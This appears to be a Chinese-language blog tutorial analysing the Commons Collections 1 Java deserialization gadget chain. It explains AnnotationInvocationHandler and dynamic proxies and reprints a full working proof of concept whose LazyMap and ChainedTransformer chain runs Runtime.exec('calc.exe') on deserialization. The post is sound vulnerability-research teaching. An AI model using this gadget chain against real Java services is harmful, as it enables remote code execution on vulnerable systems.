commoncollections1反序列化调试(分析篇)
0x00 前言
上一篇中了解了cc1链中的一些基础知识,本文记录一下构造payload学习的过程。
这是ysoserial的gadget chain
/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */
0x01 分析
上一篇中我们说到需要找到一个类的readobject方法可以调用Map的get方法,进而触发transformer的transform方法,达到命令执行的过程。
ysoserial中找到了sun.reflect.annotation.AnnotationInvocationHandler这个类
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
这个类中var4也就是我们创建的map,this.memberValues.entrySet().iterator()用来迭代map中的元素,但是并没有直接调用map.get,但是invoke方法中,进行了map.get()的调用
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } }
可以看到在default分支判断中,使用了this.memberValues.get(),这里的this.memberValues也就是我们的map.
那么我们如何劫持AnnotationInvocationHandler#invoke中的get方法呢,这里ysoserail作者用到了jdk动态代理的设计。
0x02 动态代理
那么什么是动态代理呢?
我们打个比方,我们想要卖东西,但是我们工作很忙,不想自己卖东西,于是将需要卖的东西挂到了闲鱼,由闲鱼帮我们进行出售,我们是原始类(卖东西),那么闲鱼就是代理类(卖东西+打广告),如果说卖东西是原始方法,那么打广告就可以理解为代理类独有的特殊方法,也就是说代理类会实现和原始类相同的方法和附加功能。
那么我们回顾一下java中实现动态代理的两种方式:jdk动态代理和Cglib动态代理。
1.jdk动态代理
public class TestJDKProxy { public static void main(String[] args) { //1 创建原始对象 UserService userService = new UserServiceImpl(); //2 JDK创建动态代理 InvocationHandler handler = new InvocationHandler(){ @Override public Object invoke(Object proxy, Method method,Object[] args) throws Throwable { System.out.println("------proxy log --------"); //原始方法调用 Object ret = method.invoke(userService, args); return ret; } }; UserService userServiceProxy = (UserService)Proxy.newProxyInstance(UserServiceImpl.class.getClassLoader(),userService.getClass().getInterfaces(),handler); userServiceProxy.login("test", "123456"); userServiceProxy.register(new User()); } }
jdk动态代理实现的方式是代理类和原始类实现相同的接口.
proxy.newProxyInstance方法用来创建动态代理。
第一个参数是classLoader,传入一个任意类的类加载器就可以,这里用的原始类的类加载器。
第二个参数是原始类和代理类实现的接口,也就是Userservice接口,这里使用userService.getClass().getIntrfaces()获取接口类。
第三个参数是handler,也就是在handler中的invoke方法实现附加功能的添加。
那我们来看一下handler的构成
InvocationHandler handler = new InvocationHandler(){ @Override public Object invoke(Object proxy, Method method,Object[] args) throws Throwable { System.out.println("------proxy log --------"); //原始方法调用 Object ret = method.invoke(userService, args); return ret; } };
需要new一个InvocationHandler类型的,并需要重写invoke方法,Invoke方法中就是附加功能+原始方法调用
在这个例子中,打印日志是附加功能。
method.invoke(userservice,args)是调用原始方法,按照反射来调用原始方法,就比较好理解。
然后将执行结果作为返回值。
2.Cglib动态代理
CGlib创建动态代理的原理:??继承关系创建代理对象,原始类作为?类,代理类作为?类,这样既可以保证2者?法?致,同时在代理类中提供新的实现(额外功能+原始?法)public class TestCglib { public static void main(String[] args) { //1 创建原始对象 UserService userService = new UserService(); /* 2 通过cglib?式创建动态代理对象 Proxy.newProxyInstance(classloader,interface,invocationhandler) Enhancer.setClassLoader() Enhancer.setSuperClass() Enhancer.setCallback(); ---> MethodInterceptor(cglib) Enhancer.create() ---> 代理 */ Enhancer enhancer = new Enhancer(); enhancer.setClassLoader(TestCglib.class.getClassLoader()); enhancer.setSuperclass(userService.getClass()); MethodInterceptor interceptor = new MethodInterceptor() { //等同于 InvocationHandler --- invoke @Override public Object intercept(Object o, Method method, Object[] args, MethodProxy methodProxy) throws Throwable { System.out.println("---cglib log----"); Object ret = method.invoke(userService, args); return ret; } }; enhancer.setCallback(interceptor); UserService userServiceProxy = (UserService) enhancer.create(); userServiceProxy.login("suns", "123345"); userServiceProxy.register(new User()); } }
我们看一下cglib实现动态代理的代码,其实和jdk动态代理的实现有异曲同工之妙。
new Enhancer可等同于Proxy.newProxyInstance,设置的3个参数其实也是类似的,只不过这里第三个参数换成了MethodInterceptor等同于InvocationHandler,也是编写附加功能+通过反射调用原始方法来实现。然后后续使用enhancer.create()创建动态代理类,并后续进行调用。
0x03 继续分析
上面我们大概复习了在java中动态代理方法的实现,那么我们可以看到AnnotationInvocationHandler其实就是InvocationHandler的子类,所以他也可以作为handler,那么AnnotationInvocationHandler中的invoke方法就可以在动态代理的时候被调用,那么我们可以理解为
入口点AnnotationInvocationHandler#readObject->invoke#get(Lazymap.get)->ChainedTransformer#transform->InvokerTransformer#transform(这里有3个InvokerTransformer#transform)达到Runtime.getRuntime().exec("calc.exe")的调用。
大体的构造poc思路是这样的,但是还是有很多细节构造的地方没有分析,这里引用P牛的POC进行细节上的分析
package org.vulhub.Ser; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
P牛构造的poc更容易理解。
细节一:
AnnotationInvocationHandler传入的第一个参数需要是Anonotation类型或子类
AnnotationInvocationHandler(Class<? extends Annotation> var1, Mapvar2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
所以在这里
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);传入的是Retention.class
package java.lang.annotation; @Documented @Retention(RetentionPolicy.RUNTIME) @Target({ElementType.ANNOTATION_TYPE}) public @interface Retention { RetentionPolicy value(); }
可以通过注解看到是ANNOTATION类型
细节二:
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹.
细节三:
有时候调试上述POC的时候,会发现弹出了两个计算器,或者没有执行到readObject的时候就弹出了计算器,在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。细节四:
该poc只能在JDK8u71以前的版本进行触发,那么我们如何在JDK高版本进行触发呢,下一篇文章我们继续分析。
0x04 引用
1.https://wx.zsxq.com/dweb2/index/topic_detail/118811585445582
2.https://www.bilibili.com/video/BV185411477k?p=94